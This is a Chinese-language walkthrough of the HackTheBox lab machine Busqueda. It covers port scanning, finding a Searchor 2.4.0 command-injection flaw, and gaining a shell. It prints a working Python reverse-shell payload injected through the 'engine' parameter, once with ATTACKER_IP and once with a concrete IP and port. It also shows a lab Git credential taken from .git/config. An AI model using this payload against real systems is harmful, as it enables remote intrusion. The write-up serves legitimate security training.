当前位置：首页 > news >正文

【HackTheBox】- Busqueda 靶机学习

news 2025/10/16 12:08:45

1. 信息收集

先快速扫描全端口：rustscan -a 10.129.126.37 -r 1-65535

在这里插入图片描述

只开放了22和80端口，再用nmap探测详细的服务：nmap -p22,80 -AO -sV -sT 10.129 .126.37

在这里插入图片描述

2. 80 端口

浏览器访问80端口，依然被重定向到 searcher.htb，在 /etc/hosts 文件中写入，执行命令：echo "10.129.126.37 searcher.htb" | sudo tee -a /etc/hosts

重新访问80端口：

在这里插入图片描述

看起来是个搜索查询的功能。

但是还是先扫描一下目录：dirsearch -u http://10.129.126.37

用ip作为参数的话，执行结果全是302。修改为域名：dirsearch -u http://searcher.htb/

在这里插入图片描述

还是什么结果都没有。

从功能上来看，如果不点击自动跳转的话，会显示一个拼接的网址，如果跳转的话，会直接跳转。

点击查询，抓个包看看：

在这里插入图片描述

query字段后面加上单引号的返回的内容会有所不同，试一试sqlmap：sqlmap -r 1.txt

但是没有什么结果。深入想一下，这里只是把我们输入的关键字做了个拼接，应该没有直接和数据库交互，所以应该不存在sql注入的漏洞。

再从网站架构入手，whatweb扫描了一下也没有什么东西：python语言，Werkzeug库

在这里插入图片描述

在网站的底部发现了Searchor 2.4.0：

在这里插入图片描述

在 searchsploit 中没有发现 Searchor 相关的漏洞。但是在github中发现了一个：

在这里插入图片描述

有问题的代码：

在这里插入图片描述

试一下这个脚本：https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection/blob/main/exploit.sh

在kali中监听端口8888：nc -lvvp 9001

执行脚本：./search.sh searcher.htb 10.10.16.16

在这里插入图片描述

找到了user.txt：

在这里插入图片描述

在相关链接中发现了poc：', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#

构造数据包：

engine=', exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.16.16',8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);"))#&query=A5

3. 提权

先查看是否有 suid 权限：sudo -l

在这里插入图片描述

需要密码。

查看网站目录的文件，看一下 app.py 文件的内容，没有什么收获，看一下 .git 目录：

在这里插入图片描述

进入 .git 目录，发现了一个config文件，看文件内容：

在这里插入图片描述

获取到一对凭据：cody:jh1usoih2bkjaspwe92

尝试ssh登录：ssh cody@10.129.228.217

输入密码后一直登录不上：

在这里插入图片描述

查看 /etc/passwd 是否有其他账户：

在这里插入图片描述

可以远程登录并且获取shell的只有 root 和 svc 用户。

所以用svc再登录尝试：ssh svc@10.129.228.217

在这里插入图片描述

成功登录进来了。

现在再想一下为什么cody无法登录，因为文件中的 url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git 是 Git remote 的配置（.git/config）里把远端仓库 URL 写成了 http://user:pass@host/...的形式。Git/HTTP 支持在 URL 中嵌入 basic auth，所以可能把凭据直接写进了 remote URL。

这不是 Linux 系统账户，也不是说系统上必须有cody用户。它是远程 Git 服务（gitea.searcher.htb）上的一个仓库账号的凭据，用来做 git pull/push 的认证。

现在知道了svc账户的密码，就可以查看 suid 权限：sudo -l

在这里插入图片描述